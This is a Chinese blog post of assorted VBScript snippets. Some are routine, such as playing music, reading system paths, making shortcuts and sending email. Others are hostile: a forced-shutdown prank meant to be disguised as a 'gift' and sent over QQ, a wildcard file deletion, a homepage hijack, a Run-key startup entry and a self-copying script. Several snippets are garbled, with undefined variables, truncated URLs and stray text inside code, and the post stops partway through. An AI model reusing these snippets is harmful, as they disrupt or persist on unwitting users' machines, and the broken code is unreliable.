VBS脚本常用经典代码收集
于 2011年7月2日21:13:37 整理
在网上查资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。
VBS播放音乐
Dim wmp
Set wmp = CreateObject("WMPlayer.OCX")
wmp.openState
wmp.URL = "想象之中.mp3"
Do Until wmp.playState = 1
    WScript.Sleep 1000
Loop
比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)
Set shell=CreateObject("WScript.Shell")
shell.run "shutdown -s -t 60 -c 系统即将关闭.",0
While InputBox("请输入答案","请回答")<>"123" '密码是123
    MsgBox "答案在心中...",16+4096 '4096 是让窗口在最顶层
Wend
shell.run "shutdown -a",0
MsgBox "恭喜",64
修改桌面背景图片
Sphoto="d:\1.bmp"'输入你自己的BMP路径
computer="."
Const hkcu=&h80000001
Set wmi=GetObject("winmgmts:\\"& computer &"\root\default:stdregprov")
stringvalue hkcu,"Control Panel\Desktop","Wallpaper",Spath
wmi.setstringvalue hkcu,"Control Panel\Desktop","TileWallpaper","0"
wmi.setstringvalue hkcu,"Control Panel\Desktop","WallpaperStyle","2"
wmi.setdwordvalue hkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","ListviewShadow",1
Set wmi=Nothing
Set fso=CreateObject("scripting.filesystemobject")
Set fs=fso.Getfile(Sphoto)
backname=fs.name
fs.Name=fso.GetFileName(Spath)
fs.Copy fso.GetParentFolderName(Spath) & "\",True
fs.Name=backname
Set fso=Nothing
Set ws=CreateObject("wscript.shell")
ws.Run "gpupdate /force",vbhide
ws.Run " USER32.DLL,UpdatePerUserSystemParameters"
Set ws=Nothing
VBS获取系统安装路径C:\WINDOWS路径
先定义这个变量是获取系统安装路径的，然后我们用"strWinDir"调用这个变量。
Set WshShell = WScript.CreateObject("WScript.Shell")
strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")
VBS获取C:\Program Files路径
Set WshShell = WScript.CreateObject("WScript.Shell")
strPorDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")
VBS获取C:\Program Files\Common Files路径
Set WshShell = WScript.CreateObject("WScript.Shell")
strCommDir = WshShell.ExpandEnvironmentStrings("%CommonProgramFiles%")
给桌面添加网址快捷方式
Set WshShell = WScript.CreateObject("Wscript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop")
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\百度.lnk")
oShellLink.TargetPath = "www.baidu/"
oShellLink.Description = "百度主页"
oShellLink.IconLocation = "%ProgramFiles%\Internet , 0"
oShellLink.Save
给收藏夹添加网址
Const ADMINISTRATIVE_TOOLS = 6
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self   
Set objShell = WScript.CreateObject("WScript.Shell")
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\百度.url")
objURLShortcut.TargetPath = "www.baidu/"
objURLShortcut.Save
删除指定目录指定后缀文件
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile "C:\*.vbs", True
Set fso = Nothing
VBS改主页
Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","www.baidu/"
VBS加启动项
Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd",""
VBS复制自己到C盘
Dim fso
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
file(wscript.scriptfullname).copy("c:\cik.vbs")
复制自己到C盘的huan.vbs(复制本vbs目录下的文件到c盘的cik.exe)
Dim fso
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
file("").copy("c:\")
VBS获取系统临时目录
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echo tempfolder
就算代码出错 依然继续执行
On Error Resume Next
VBS打开网址
Set objShell = CreateObject("Wscript.Shell")
objShell.Run("www.baidu/")
VBS发送邮件
NameSpace = "schemas.microsoft/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "发件@qq"
Email.To = "收件@qq"
Email.Subject = "这里写标题"
Email.Textbody = "这里写内容!"
Email.AddAttachment "C:\这是附件.txt"
With Email.Configuration.Fields
    .Item(NameSpace&"sendusing") = 2
    .Item(NameSpace&"smtpserver") = "smtp.qq"
    .Item(NameSpace&"smtpserverport") = 25
    .Item(NameSpace&"smtpauthenticate") = 1
    .Item(NameSpace&shell代码"sendusername") = "发件人用户名"
    .Item(NameSpace&"sendpassword") = "发件人密码"
    .Update
End With
Email.Send
VBS结束进程
strComputer = "."

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。